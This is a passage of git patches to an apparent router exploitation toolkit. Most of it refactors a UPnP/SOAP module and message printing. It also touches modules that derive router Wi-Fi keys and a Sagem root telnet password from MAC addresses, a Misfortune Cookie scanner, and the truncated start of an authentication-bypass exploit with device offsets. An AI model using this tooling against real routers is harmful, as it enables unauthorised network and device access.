else: - st = defaultST + st = default_st # Build the request request = "M-SEARCH * HTTP/1.1\r\n" \ @@ -52,12 +735,12 @@ def do_msearch(self, e): request += header + ':' + value + "\r\n" request += "\r\n" - print("Entering discovery mode for '%s', Ctl+C to stop..." % st) + print_info("Entering discovery mode for '%s', Ctl+C to stop..." % st) # Have to create a new socket since replies will be sent directly to our IP, not the multicast IP server = self.create_new_listener(myip, lport) if not server: - print('Failed to bind port %d' % lport) + print_error('Failed to bind port %d' % lport) return self.send(request, server) @@ -72,11 +755,12 @@ def do_msearch(self, e): if 0 < self.timeout < (time.time() - start): raise Exception("Timeout exceeded") - if self.parseSSDPInfo(self.recieve(1024, server), False, False): + if self.parse_ssdp_info(self.recieve(1024, server), False, False): count += 1 except AttributeError: # On Ctrl-C parseSSDPInfo raises AttributeError exception - print('\nDiscover mode halted...') + print('\n') + print_info('Discover mode halted...') break def get_host_info(self, host_info, index): @@ -89,19 +773,19 @@ def get_host_info(self, host_info, index): try: # Get extended device and service information if host_info: - print_blue("Requesting device and service info for " + + print_info("Requesting device and service info for " + host_info['name'] + " (this could take a few seconds)...") if not host_info['dataComplete']: - (xmlHeaders, xmlData) = self.get_xml(host_info['xml_file']) + (xml_headers, xml_data) = self.get_xml(host_info['xml_file']) # print(xmlHeaders) # print(xmlData) - if not xmlData: + if not xml_data: print_red('Failed to request host XML file:' + host_info['xml_file']) return - if self.getHostInfo(xmlData, xmlHeaders, index) == False: + if not self.get_host_information(xml_data, xml_headers, index): print_error("Failed to get device/service info for " + host_info['name']) return - print('Host data enumeration complete!') + print_success('Host data enumeration complete!') # hp.updateCmdCompleter(hp.ENUM_HOSTS) return except KeyboardInterrupt: @@ -123,90 +807,91 @@ def getUserInput(self, shellPrompt): return argc, argv # Send SOAP request - def sendSOAP(self, hostName, serviceType, controlURL, actionName, actionArguments): - argList = '' - soapResponse = '' - - if '://' in controlURL: - urlArray = controlURL.split('/', 3) - if len(urlArray) < 4: - controlURL = '/' + def send_soap(self, host_name, service_type, control_url, action_name, action_arguments): + arg_list = '' + soap_response = '' + + if '://' in control_url: + url_array = control_url.split('/', 3) + if len(url_array) < 4: + control_url = '/' else: - controlURL = '/' + urlArray[3] + control_url = '/' + url_array[3] - soapRequest = 'POST %s HTTP/1.1\r\n' % controlURL + soap_request = 'POST %s HTTP/1.1\r\n' % control_url # Check if a port number was specified in the host name; default is port 80 - if ':' in hostName: - hostNameArray = hostName.split(':') - host = hostNameArray[0] + if ':' in host_name: + host_name_array = host_name.split(':') + host = host_name_array[0] try: - port = int(hostNameArray[1]) + port = int(host_name_array[1]) except: - print('Invalid port specified for host connection:', hostName[1]) + print_error('Invalid port specified for host connection:', host_name[1]) return False else: - host = hostName + host = host_name port = 80 # Create a string containing all of the SOAP action's arguments and values - for arg, (val, dt) in actionArguments.items(): - argList += '<%s>%s' % (arg, val, arg) + for arg, (val, dt) in action_arguments.items(): + arg_list += '<%s>%s' % (arg, val, arg) # Create the SOAP request - soapBody = '\n' \ - '\n' \ - '\n' \ - '\t\n' \ - '%s\n' \ - '\t\n' \ - '\n' \ - '' % (actionName, serviceType, argList, actionName) + soap_body = '\n' \ + '\n' \ + '\n' \ + '\t\n' \ + '%s\n' \ + '\t\n' \ + '\n' \ + '' % (action_name, service_type, arg_list, action_name) # Specify the headers to send with the request headers = { - 'Host': hostName, - 'Content-Length': len(soapBody), + 'Host': host_name, + 'Content-Length': len(soap_body), 'Content-Type': 'text/xml', - 'SOAPAction': '"%s#%s"' % (serviceType, actionName) + 'SOAPAction': '"%s#%s"' % (service_type, action_name) } # Generate the final payload for head, value in headers.items(): - soapRequest += '%s: %s\r\n' % (head, value) - soapRequest += '\r\n%s' % soapBody + soap_request += '%s: %s\r\n' % (head, value) + soap_request += '\r\n%s' % soap_body # Send data and go into recieve loop + sock = None try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) - DEBUG = 0 - if DEBUG: - print(soapRequest) + # DEBUG = 0 + # if DEBUG: + # print(soap_request) - sock.send(bytes(soapRequest, 'UTF-8')) + sock.send(bytes(soap_request, 'UTF-8')) while True: data = sock.recv(self.max_recv) if not data: break else: - soapResponse += data.decode('UTF-8') - if self.soapEnd.search(soapResponse.lower()) != None: + soap_response += data.decode('UTF-8') + if self.soapEnd.search(soap_response.lower()) is not None: break sock.close() - (header, body) = soapResponse.split('\r\n\r\n', 1) + (header, body) = soap_response.split('\r\n\r\n', 1) if not header.upper().startswith('HTTP/1.') and ' 200 ' in header.split('\r\n')[0]: - print('SOAP request failed with error code:', header.split('\r\n')[0].split(' ', 1)[1]) - errorMsg = self.extractSingleTag(body, 'errorDescription') - if errorMsg: - print('SOAP error message:', errorMsg) + print_error('SOAP request failed with error code:', header.split('\r\n')[0].split(' ', 1)[1]) + error_msg = self.extract_single_tag(body, 'errorDescription') + if error_msg: + print_error('SOAP error message:', error_msg) return False else: return body except Exception as e: - print('Caught socket exception:') + print_error('Caught socket exception:') traceback.print_tb(e) sock.close() return False @@ -215,22 +900,38 @@ def sendSOAP(self, hostName, serviceType, controlURL, actionName, actionArgument return False # Extract the contents of a single XML tag from the data - def extractSingleTag(self, data, tag): - startTag = "<%s" % tag - endTag = "" % tag + def extract_single_tag(self, data, tag): + start_tag = "<%s" % tag + end_tag = "" % tag try: - tmp = data.split(startTag)[1] + tmp = data.split(start_tag)[1] index = tmp.find('>') if index != -1: index += 1 - return tmp[index:].split(endTag)[0].strip() + return tmp[index:].split(end_tag)[0].strip() except: pass return None + def do_add(self, e): + args = e.split(' ') + if len(args) != 2: + print_error("Invalid number of arguments") + else: + index = len(self.enum_hosts) + self.enum_hosts[index] = { + 'name': args[0], + 'dataComplete': False, + 'proto': 'http://', + 'xml_file': args[1], + 'serverType': None, + 'upnpServer': None, + 'deviceList': {} + } + def do_device(self, e): # This was originally host command but since REXT uses host on something else... - host_info = None + # host_info = None args = e.split(' ') if args[0] == "get": if len(args) != 2: @@ -246,39 +947,39 @@ def do_device(self, e): # This was originally host command but since REXT uses elif args[0] == "details": try: index = int(args[1]) - hostInfo = self.enum_hosts[index] + host_info = self.enum_hosts[index] except Exception as e: - print("Index error") + print_error("Index error") return try: # If this host data is already complete, just display it - if hostInfo['dataComplete'] == True: - self.showCompleteHostInfo(index, False) + if host_info['dataComplete']: + self.show_complete_host_info(index) else: - print("Can't show host info because I don't have it. Please run 'host get %d'" % index) + print_error("Can't show host info because I don't have it. Please run 'host get %d'" % index) except KeyboardInterrupt as e: pass return elif args[0] == "list": if len(self.enum_hosts) == 0: - print("No known hosts - try running the 'msearch' or 'pcap' commands") + print_info("No known hosts - try running the 'msearch' or 'pcap' commands") return - for index, hostInfo in self.enum_hosts.items(): - print("\t[%d] %s" % (index, hostInfo['name'])) + for index, host_info in self.enum_hosts.items(): + print_info("[%d] %s" % (index, host_info['name'])) return elif args[0] == "summary": try: index = int(args[1]) - hostInfo = self.enum_hosts[index] + host_info = self.enum_hosts[index] except: print("Index error") return - print('Host:', hostInfo['name']) - print('XML File:', hostInfo['xml_file']) - for deviceName, deviceData in hostInfo['deviceList'].items(): - print(deviceName) + print('Host:', host_info['name']) + print('XML File:', host_info['xml_file']) + for device_name, deviceData in host_info['deviceList'].items(): + print(device_name) for k, v in deviceData.items(): if isinstance(v, dict): continue @@ -292,7 +993,7 @@ def do_device(self, e): # This was originally host command but since REXT uses return elif args[0] == 'info': output = self.enum_hosts - dataStructs = [] + data_structs = [] for arg in args[1:]: try: arg = int(arg) @@ -302,7 +1003,7 @@ def do_device(self, e): # This was originally host command but since REXT uses try: for k, v in output.items(): if isinstance(v, dict): - dataStructs.append(k) + data_structs.append(k) else: print(k, ':', v) continue @@ -315,13 +1016,13 @@ def do_device(self, e): # This was originally host command but since REXT uses except: print(output) - for struct in dataStructs: + for struct in data_structs: print(struct, ': {}') return elif args[0] == 'send': # Send SOAP requests - index = False - inArgCounter = 0 + # index = False + in_arg_counter = 0 if len(args) != 5: # showHelp(argv[0]) @@ -329,26 +1030,26 @@ def do_device(self, e): # This was originally host command but since REXT uses else: try: index = int(args[1]) - hostInfo = self.enum_hosts[index] + host_info = self.enum_hosts[index] except: print('indexError') return - deviceName = args[2] - serviceName = args[3] - actionName = args[4] - actionArgs = False - sendArgs = {} - retTags = [] - controlURL = False - fullServiceName = False + device_name = args[2] + service_name = args[3] + action_name = args[4] + # action_args = False + send_args = {} + ret_tags = [] + # controlURL = False + # full_service_name = False # Get the service control URL and full service name try: - controlURL = hostInfo['proto'] + hostInfo['name'] - controlURL2 = hostInfo['deviceList'][deviceName]['services'][serviceName]['controlURL'] - if not controlURL.endswith('/') and not controlURL2.startswith('/'): - controlURL += '/' - controlURL += controlURL2 + control_url = host_info['proto'] + host_info['name'] + control_url2 = host_info['deviceList'][device_name]['services'][service_name]['controlURL'] + if not control_url.endswith('/') and not control_url2.startswith('/'): + control_url += '/' + control_url += control_url2 except Exception as e: print('Caught exception:') traceback.print_tb(e) @@ -357,31 +1058,32 @@ def do_device(self, e): # This was originally host command but since REXT uses # Get action info try: - actionArgs = hostInfo['deviceList'][deviceName]['services'][serviceName]['actions'][actionName][ + action_args = \ + host_info['deviceList'][device_name]['services'][service_name]['actions'][action_name][ 'arguments'] - fullServiceName = hostInfo['deviceList'][deviceName]['services'][serviceName]['fullName'] + full_service_name = host_info['deviceList'][device_name]['services'][service_name]['fullName'] except Exception as e: print('Caught exception:') traceback.print_tb(e) print("Are you sure you've specified the correct action?") return False - for argName, argVals in actionArgs.items(): - actionStateVar = argVals['relatedStateVariable'] - stateVar = hostInfo['deviceList'][deviceName]['services'][serviceName]['serviceStateVariables'][ - actionStateVar] + for argName, argVals in action_args.items(): + action_state_var = argVals['relatedStateVariable'] + state_var = host_info['deviceList'][device_name]['services'][service_name]['serviceStateVariables'][ + action_state_var] if argVals['direction'].lower() == 'in': print("Required argument:") print("\tArgument Name: ", argName) - print("\tData Type: ", stateVar['dataType']) - if 'allowedValueList' in stateVar: - print("\tAllowed Values:", stateVar['allowedValueList']) - if 'allowedValueRange' in stateVar: - print("\tValue Min: ", stateVar['allowedValueRange'][0]) - print("\tValue Max: ", stateVar['allowedValueRange'][1]) - if 'defaultValue' in stateVar: - print("\tDefault Value: ", stateVar['defaultValue']) + print("\tData Type: ", state_var['dataType']) + if 'allowedValueList' in state_var: + print("\tAllowed Values:", state_var['allowedValueList']) + if 'allowedValueRange' in state_var: + print("\tValue Min: ", state_var['allowedValueRange'][0]) + print("\tValue Max: ", state_var['allowedValueRange'][1]) + if 'defaultValue' in state_var: + print("\tDefault Value: ", state_var['defaultValue']) prompt = "\tSet %s value to: " % argName try: # Get user input for the argument value @@ -389,25 +1091,25 @@ def do_device(self, e): # This was originally host command but since REXT uses if argv is None: print('Stopping send request...') return - uInput = '' + u_input = '' if argc > 0: - inArgCounter += 1 + in_arg_counter += 1 for val in argv: - uInput += val + ' ' + u_input += val + ' ' - uInput = uInput.strip() - if stateVar['dataType'] == 'bin.base64' and uInput: - uInput = base64.encodebytes(bytes(uInput, 'UTF-8')) + u_input = u_input.strip() + if state_var['dataType'] == 'bin.base64' and u_input: + u_input = base64.encodebytes(bytes(u_input, 'UTF-8')) - sendArgs[argName] = (uInput.strip(), stateVar['dataType']) + send_args[argName] = (u_input.strip(), state_var['dataType']) except KeyboardInterrupt: print("") return print('') else: - retTags.append((argName, stateVar['dataType'])) + ret_tags.append((argName, state_var['dataType'])) # Remove the above inputs from the command history # while inArgCounter: @@ -419,15 +1121,16 @@ def do_device(self, e): # This was originally host command but since REXT uses # inArgCounter -= 1 # print 'Requesting',controlURL - soapResponse = self.sendSOAP(hostInfo['name'], fullServiceName, controlURL, actionName, sendArgs) - if soapResponse != False: + soap_response = self.send_soap(host_info['name'], full_service_name, control_url, action_name, + send_args) + if soap_response: # It's easier to just parse this ourselves... - for (tag, dataType) in retTags: - tagValue = self.extractSingleTag(soapResponse, tag) - if dataType == 'bin.base64' and tagValue is not None: - #print(tagValue) - tagValue = base64.decodebytes(bytes(tagValue, 'UTF-8')) - print(tag, ':', tagValue) + for (tag, dataType) in ret_tags: + tag_value = self.extract_single_tag(soap_response, tag) + if dataType == 'bin.base64' and tag_value is not None: + # print(tagValue) + tag_value = base64.decodebytes(bytes(tag_value, 'UTF-8')) + print(tag, ':', tag_value) return diff --git a/modules/misc/huawei/hg520_mac2wep.py b/modules/misc/huawei/hg520_mac2wep.py index f00aa3b..6d53555 100644 --- a/modules/misc/huawei/hg520_mac2wep.py +++ b/modules/misc/huawei/hg520_mac2wep.py @@ -10,7 +10,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_error, print_green, print_help +from interface.messages import print_success, print_error, print_help, print_info from interface.utils import validate_mac, lookup_mac @@ -39,12 +39,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -153,8 +153,8 @@ def do_run(self, e): key_string = str(key[ya]) + str(key[yb]) + str(key[yc]) + str(key[yd]) + str(key[ye]) ssid_string = str(ssid[s1]) + str(ssid[s2]) + str(ssid[s3]) + str(ssid[s4]) - print_success("") - print_green("SSID:" + ssid_string) - print_green("WEP Key:" + key_string) + print_success("WEP key generated") + print("SSID:" + ssid_string) + print("WEP Key:" + key_string) Misc() diff --git a/modules/misc/huawei/hg8245_mac2wpa.py b/modules/misc/huawei/hg8245_mac2wpa.py index 7da0554..050498b 100644 --- a/modules/misc/huawei/hg8245_mac2wpa.py +++ b/modules/misc/huawei/hg8245_mac2wpa.py @@ -10,7 +10,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_error, print_green, print_help +from interface.messages import print_success, print_error, print_help, print_info from interface.utils import validate_mac, lookup_mac @@ -39,12 +39,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -147,8 +147,8 @@ def do_run(self, e): part2 = part2.upper() if val == 0: val = "F" - print_success("") - print_green("WPA Key: " + part1 + part2 + val + part3 + part4) + print_success("WPA key generated") + print("WPA Key: " + part1 + part2 + val + part3 + part4) Misc() diff --git a/modules/misc/pirelli/drg_a255_mac2wpa.py b/modules/misc/pirelli/drg_a255_mac2wpa.py index 279c23c..285b2ee 100644 --- a/modules/misc/pirelli/drg_a255_mac2wpa.py +++ b/modules/misc/pirelli/drg_a255_mac2wpa.py @@ -11,7 +11,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_error, print_green, print_help +from interface.messages import print_success, print_error, print_help, print_info from interface.utils import validate_mac, lookup_mac @@ -40,12 +40,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -65,8 +65,8 @@ def do_run(self, e): ssid = "Discus--"+mac[6:] key = "YW0" + str(result) - print_success("") - print_green("Possible SSID: " + ssid) - print_green("WPA Key: " + key) + print_success("WPA key generated") + print("Possible SSID: " + ssid) + print("WPA Key: " + key) Misc() \ No newline at end of file diff --git a/modules/misc/sagem/fast_telnet_password.py b/modules/misc/sagem/fast_telnet_password.py index d616299..d509790 100644 --- a/modules/misc/sagem/fast_telnet_password.py +++ b/modules/misc/sagem/fast_telnet_password.py @@ -11,7 +11,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_error, print_green, print_help +from interface.messages import print_success, print_error, print_help, print_info from interface.utils import validate_mac, lookup_mac @@ -41,12 +41,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -73,8 +73,8 @@ def do_run(self, e): password[7] = self.mash(mac[3], mac[4]) password = "".join(p for p in password) - print_success("") - print_green("Telnet password for root is: " + password) + print_success("password generated") + print("Telnet password for root is: " + password) def mash(self, a, b): first = min(a, b) diff --git a/modules/misc/sitecom/wlr-400X_mac2wpa.py b/modules/misc/sitecom/wlr-400X_mac2wpa.py index 738ea2b..0881165 100644 --- a/modules/misc/sitecom/wlr-400X_mac2wpa.py +++ b/modules/misc/sitecom/wlr-400X_mac2wpa.py @@ -11,7 +11,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_error, print_green, print_help +from interface.messages import print_success, print_error, print_help, print_info from interface.utils import validate_mac, lookup_mac import binascii @@ -43,12 +43,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -65,10 +65,10 @@ def do_run(self, e): wpa_4000 = self.generate_key(mac, "4000") wpa_4004 = self.generate_key(mac, "4004") - print_success("") - print_green("SSID:" + ssid) - print_green("WPA Key for model WLR-4000: " + wpa_4000) - print_green("WPA Key for model WLR-4004: " + wpa_4004) + print_success("WPA keys generated") + print("SSID:" + ssid) + print("WPA Key for model WLR-4000: " + wpa_4000) + print("WPA Key for model WLR-4004: " + wpa_4004) def generate_key(self, mac, model, keylength=12): charsets = { diff --git a/modules/misc/vodafone/easybox_wpa2_keygen.py b/modules/misc/vodafone/easybox_wpa2_keygen.py index f8fc5c6..5dce4f4 100644 --- a/modules/misc/vodafone/easybox_wpa2_keygen.py +++ b/modules/misc/vodafone/easybox_wpa2_keygen.py @@ -9,7 +9,7 @@ import core.Misc import core.io -from interface.messages import print_success, print_error, print_green, print_help +from interface.messages import print_success, print_error, print_help, print_info from interface.utils import validate_mac, lookup_mac @@ -37,12 +37,12 @@ def do_set(self, e): if args[0] == "mac": if validate_mac(args[1]): self.mac = args[1] - print_green("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) + print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac)) else: print_error("please provide valid MAC address") def do_mac(self, e): - print(self.mac) + print_info(self.mac) def help_set(self): print_help("Set value of variable: \"set mac 00:11:22:33:44:55\"") @@ -92,9 +92,9 @@ def do_run(self, e): format(x2, 'x') + format(y2, 'x') + format(z2, 'x') + \ format(x3, 'x') + format(y3, 'x') + format(z3, 'x') - print_success("") - print_green("SSID:" + ssid) - print_green("WPA2KEY:" + wpakey.upper()) + print_success("WPA2 key generated") + print("SSID:" + ssid) + print("WPA2KEY:" + wpakey.upper()) Misc() diff --git a/modules/scanners/allegrosoft/misfortune_cookie.py b/modules/scanners/allegrosoft/misfortune_cookie.py index f904d61..8688ebb 100644 --- a/modules/scanners/allegrosoft/misfortune_cookie.py +++ b/modules/scanners/allegrosoft/misfortune_cookie.py @@ -8,7 +8,7 @@ # Description: PoC based on 31C3 presentation import core.Scanner -from interface.messages import print_failed, print_success, print_red, print_green, print_warning, print_error +from interface.messages import print_failed, print_success, print_warning, print_error import requests import requests.exceptions @@ -47,12 +47,12 @@ def do_run(self, e): response = requests.get(target, headers=headers, timeout=60) if response.status_code != 404: print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code) - print_red("Device is not running RomPager") + print_warning("Device is not running RomPager") else: if 'server' in response.headers: server = response.headers.get('server') if re.search('RomPager', server) is not None: - print_green("Got RomPager! Server:%s" % server) + print_success("Got RomPager! Server:%s" % server) if re.search('omg1337hax', response.text) is not None: print_success("device is vulnerable to misfortune cookie") else: diff --git a/tests/test_messages.py b/tests/test_messages.py index f2e3796..f8820ed 100644 --- a/tests/test_messages.py +++ b/tests/test_messages.py @@ -18,22 +18,22 @@ def test_print_messages(self, mock_builtins): # mock_utils.return_value = "posix" test_string = "Hello World" interface.messages.print_success(test_string) - mock_builtins.assert_called_with("\033[32m\033[1mSuccess: \033[0m\033[32m%s\033[0m" % test_string) + mock_builtins.assert_called_with("\033[32m\033[1m[+]\033[0m", test_string) interface.messages.print_error(test_string) - mock_builtins.assert_called_with("\033[91m\033[1mError: \033[0m\033[91m%s\033[0m" % test_string) + mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string) interface.messages.print_warning(test_string) - mock_builtins.assert_called_with("\033[93m\033[1mWarning: \033[0m\033[93m%s\033[0m" % test_string) + mock_builtins.assert_called_with("\033[93m\033[1m[!]\033[0m", test_string) interface.messages.print_failed(test_string) - mock_builtins.assert_called_with("\033[91m\033[1mFailed: \033[0m\033[91m%s\033[0m" % test_string) + mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string) interface.messages.print_help(test_string) - mock_builtins.assert_called_with("\033[95m\033[1mHelp: \033[0m\033[95m%s\033[0m" % test_string) + mock_builtins.assert_called_with("\033[95m\033[1m[?]\033[0m", test_string) interface.messages.print_info(test_string) - mock_builtins.assert_called_with("\033[94m\033[1mInfo: \033[0m\033[94m%s\033[0m" % test_string) + mock_builtins.assert_called_with("\033[94m\033[1m[*]\033[0m", test_string) interface.messages.print_green(test_string) mock_builtins.assert_called_with("\033[32m%s\033[0m" % test_string) From 163757652bedd13d9d17ac0c8615382b3f1259f2 Mon Sep 17 00:00:00 2001 From: j91321 Date: Sun, 28 Aug 2016 23:24:46 +0200 Subject: [PATCH 06/14] Changed exit command to back, added autocomplete for set command, fixed wrong exception handling in Scanner.py --- core/Decryptor.py | 10 ++++++++-- core/Exploit.py | 10 ++++++++-- core/Harvester.py | 10 ++++++++-- core/Misc.py | 4 ++-- core/Scanner.py | 41 +++++++++++++++++++++++++---------------- 5 files changed, 51 insertions(+), 24 deletions(-) diff --git a/core/Decryptor.py b/core/Decryptor.py index 02c86d6..ef570b1 100644 --- a/core/Decryptor.py +++ b/core/Decryptor.py @@ -18,7 +18,7 @@ def __init__(self): interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) self.cmdloop() - def do_exit(self, e): + def do_back(self, e): return True def do_info(self, e): @@ -38,10 +38,16 @@ def do_set(self, e): except IndexError: print_error("please specify value for variable") + def complete_set(self, text, line, begidx, endidx): + modules = ["file"] + module_line = line.partition(' ')[2] + igon = len(module_line) - len(text) + return [s[igon:] for s in modules if s.startswith(module_line)] + def do_file(self, e): print_info(self.input_file) - def help_exit(self): + def help_back(self): print_help("Exit script") def help_run(self): diff --git a/core/Exploit.py b/core/Exploit.py index eb86b7a..a10d147 100644 --- a/core/Exploit.py +++ b/core/Exploit.py @@ -19,7 +19,7 @@ def __init__(self): interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) self.cmdloop() - def do_exit(self, e): + def do_back(self, e): return True def do_run(self, e): @@ -41,6 +41,12 @@ def do_set(self, e): except IndexError: print_error("please specify value for variable") + def complete_set(self, text, line, begidx, endidx): + modules = ["host", "port"] + module_line = line.partition(' ')[2] + igon = len(module_line) - len(text) + return [s[igon:] for s in modules if s.startswith(module_line)] + def do_info(self, e): print(self.__doc__) @@ -50,7 +56,7 @@ def do_host(self, e): def do_port(self, e): print_info(self.port) - def help_exit(self): + def help_back(self): print_help("Exit script") def help_run(self): diff --git a/core/Harvester.py b/core/Harvester.py index 2e7f8de..bf0c070 100644 --- a/core/Harvester.py +++ b/core/Harvester.py @@ -19,7 +19,7 @@ def __init__(self): interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) self.cmdloop() - def do_exit(self, e): + def do_back(self, e): return True def do_info(self, e): @@ -44,7 +44,13 @@ def do_set(self, e): except IndexError: print_error("please specify value for variable") - def help_exit(self): + def complete_set(self, text, line, begidx, endidx): + modules = ["host", "port"] + module_line = line.partition(' ')[2] + igon = len(module_line) - len(text) + return [s[igon:] for s in modules if s.startswith(module_line)] + + def help_back(self): print_help("Exit script") def help_run(self, e): diff --git a/core/Misc.py b/core/Misc.py index 8c1fdb3..7ef86e8 100644 --- a/core/Misc.py +++ b/core/Misc.py @@ -20,13 +20,13 @@ def __init__(self): def do_info(self, e): print(self.__doc__) - def do_exit(self, e): + def do_back(self, e): return True def do_run(self, e): pass - def help_exit(self): + def help_back(self): print_help("Exit script") def help_run(self): diff --git a/core/Scanner.py b/core/Scanner.py index a1a13d6..f47a503 100644 --- a/core/Scanner.py +++ b/core/Scanner.py @@ -1,7 +1,7 @@ -#This file is part of REXT -#core.Scanner.py - super class for scanner scripts -#Author: Ján Trenčanský -#License: GNU GPL v3 +# This file is part of REXT +# core.Scanner.py - super class for scanner scripts +# Author: Ján Trenčanský +# License: GNU GPL v3 import cmd @@ -22,7 +22,7 @@ def __init__(self): def do_info(self, e): print(self.__doc__) - def do_exit(self, e): + def do_back(self, e): return True def do_run(self, e): @@ -30,16 +30,25 @@ def do_run(self, e): def do_set(self, e): args = e.split(' ') - if args[0] == "host": - if interface.utils.validate_ipv4(args[1]): - self.host = args[1] - else: - print_error("please provide valid IPv4 address") - elif args[0] == "port": - if str.isdigit(args[1]): - self.port = args[1] - else: - print_error("port value must be integer") + try: + if args[0] == "host": + if interface.utils.validate_ipv4(args[1]): + self.host = args[1] + else: + print_error("please provide valid IPv4 address") + elif args[0] == "port": + if str.isdigit(args[1]): + self.port = args[1] + else: + print_error("port value must be integer") + except IndexError: + print_error("please specify value for variable") + + def complete_set(self, text, line, begidx, endidx): + modules = ["host", "port"] + module_line = line.partition(' ')[2] + igon = len(module_line) - len(text) + return [s[igon:] for s in modules if s.startswith(module_line)] def do_host(self, e): print_info(self.host) @@ -47,7 +56,7 @@ def do_host(self, e): def do_port(self, e): print_info(self.port) - def help_exit(self): + def help_back(self): print_help("Exit script") def help_run(self): From ff574fec87a506d409d031c413afff8d47323fbb Mon Sep 17 00:00:00 2001 From: j91321 Date: Thu, 22 Sep 2016 22:49:30 +0200 Subject: [PATCH 07/14] Misfortune cookie exploit , untested --- core/Exploit.py | 4 +- modules/exploits/allegrosoft/__init__.py | 0 .../allegrosoft/misfortune_auth_bypass.py | 317 ++++++++++++++++++ 3 files changed, 319 insertions(+), 2 deletions(-) create mode 100644 modules/exploits/allegrosoft/__init__.py create mode 100644 modules/exploits/allegrosoft/misfortune_auth_bypass.py diff --git a/core/Exploit.py b/core/Exploit.py index eb86b7a..9dc9c77 100644 --- a/core/Exploit.py +++ b/core/Exploit.py @@ -19,7 +19,7 @@ def __init__(self): interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) self.cmdloop() - def do_exit(self, e): + def do_back(self, e): return True def do_run(self, e): @@ -50,7 +50,7 @@ def do_host(self, e): def do_port(self, e): print_info(self.port) - def help_exit(self): + def help_back(self): print_help("Exit script") def help_run(self): diff --git a/modules/exploits/allegrosoft/__init__.py b/modules/exploits/allegrosoft/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/modules/exploits/allegrosoft/misfortune_auth_bypass.py b/modules/exploits/allegrosoft/misfortune_auth_bypass.py new file mode 100644 index 0000000..19cd9fd --- /dev/null +++ b/modules/exploits/allegrosoft/misfortune_auth_bypass.py @@ -0,0 +1,317 @@ +# Name:Misfortune Cookie vulnerability authentication bypass +# File:misfortune_auth_bypass.py +# Author:Ján Trenčanský +# License: GNU GPL v3 +# Created: 22.9.2016 +# Description: PoC based on 31C3 presentation, +# exploit based on Marcin Bury and Milad Doorbash routersploit module. + +import core.Exploit +import interface.utils +from core.io import query_yes_no +from interface.messages import print_failed, print_success, print_warning, print_error + +import requests +import requests.exceptions +import re + + +class Exploit(core.Exploit.RextExploit): + """ +Name:Misfortune Cookie vulnerability authentication bypass +File:misfortune_auth_bypass.py +Author:Ján Trenčanský +License: GNU GPL v3 +Created: 4.2.2014 +Description: PoC based on 31C3 presentation, exploit based on Marcin Bury and Milad Doorbash routersploit module. + +Options: + Name Description + + host Target host address + port Target port + model Target model + """ + + devices = None + number = None + offset = None + + def __init__(self): + # This part is directly taken from routersploit module + self.devices = [ + # brand # model # firmware + {'name': "Azmoon AZ-D140W 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1", 'number': 107367693, + 'offset': 13}, # 0x803D5A79 # tested + {'name': "Billion BiPAC 5102S Av2.7.0.23 (UE0.B1C)", 'number': 107369694, 'offset': 13}, + # 0x8032204d # ---------- + {'name': "Billion BiPAC 5102S Bv2.7.0.23 (UE0.B1C)", 'number': 107369694, 'offset': 13}, + # 0x8032204d # ---------- + {'name': "Billion BiPAC 5200 2.11.84.0(UE2.C2)3.11.11.6", 'number': 107369545, + 'offset': 9}, # 0x803ec2ad # ---------- + {'name': "Billion BiPAC 5200 2_11_62_2_ UE0.C2D_3_10_16_0", 'number': 107371218, + 'offset': 21}, # 0x803c53e5 # ---------- + {'name': "Billion BiPAC 5200A 2_10_5 _0(RE0.C2)3_6_0_0", 'number': 107366366, + 'offset': 25}, # 0x8038a6e1 # ---------- + {'name': "Billion BiPAC 5200A 2_11_38_0 (RE0.C29)3_10_5_0", 'number': 107371453, + 'offset': 9}, # 0x803b3a51 # ---------- + {'name': "Billion BiPAC 